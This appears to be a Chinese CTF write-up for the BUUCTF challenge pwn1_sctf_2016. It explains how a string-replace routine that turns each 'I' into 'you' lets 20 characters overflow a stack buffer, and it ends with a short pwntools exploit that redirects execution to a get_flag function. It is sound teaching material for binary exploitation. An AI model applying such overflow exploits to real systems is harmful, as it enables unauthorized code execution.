[BUUCTF-pwn]——pwn1_sctf_2016

[BUUCTF-pwn]——pwn1_sctf_2016

  • 题目地址:https://buuoj.cn/challenges#pwn1_sctf_2016
  • 题目:在这里插入图片描述
    话不多说,先下载下来再说。
    在Linux上 checksec一下,发现开启了NX保护,但是没有开启Stack的保护,也就是说我们可以很轻易的利用栈溢出。
    在这里插入图片描述
    在window的IDA上反汇编看下源码,额 ,main函数没有什么有用的信息。我们可以看下vuln函数。
    在这里插入图片描述
    发现好大一堆,发现了fgets函数,但是很遗憾。它要求我们只能输入不超过32个字符。而我们的s距离ebp有0x3c也就是60的距离。发现下面有个replace 函数,进去看看有没有什么帮助。
    在这里插入图片描述
    replace函数如下:在这里插入图片描述在这里插入图片描述
    仔细研读发现这个函数,发现有点小尴尬,看的不是太懂。所以…
    看到上面有 Iyou。打算动态调试一下,输入 I 或者 you 看看结果。结果发现,它会将 输入的 I 全部替换为 you!!!
    看到这里,相信大家已经有思路了,我们只需要输入20个 I 和 任意四个字符,就可以开始覆盖返回地址了。

查看右侧函数,发现有一个函数名称极其嚣张 get_flag 点开一看,果不其然。
在这里插入图片描述

查看函数所在位置:
在这里插入图片描述
我们看到system函数压参数是在0X08048F13所以我们可以将其作为我们的返回地址。
当然,0X08048F0D 也可以作为返回地址,这是get_flag函数开头,并且get_flag函数无参。

exploit如下:

from pwn import *
#context.log_level='debug' #加不加都可以
p=remote('node3.buuoj.cn',xxxx)
payload='I'*20 + 'junk' +p32(0x08048F13)
p.sendline(payload)
p.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Y_peak/article/details/113441238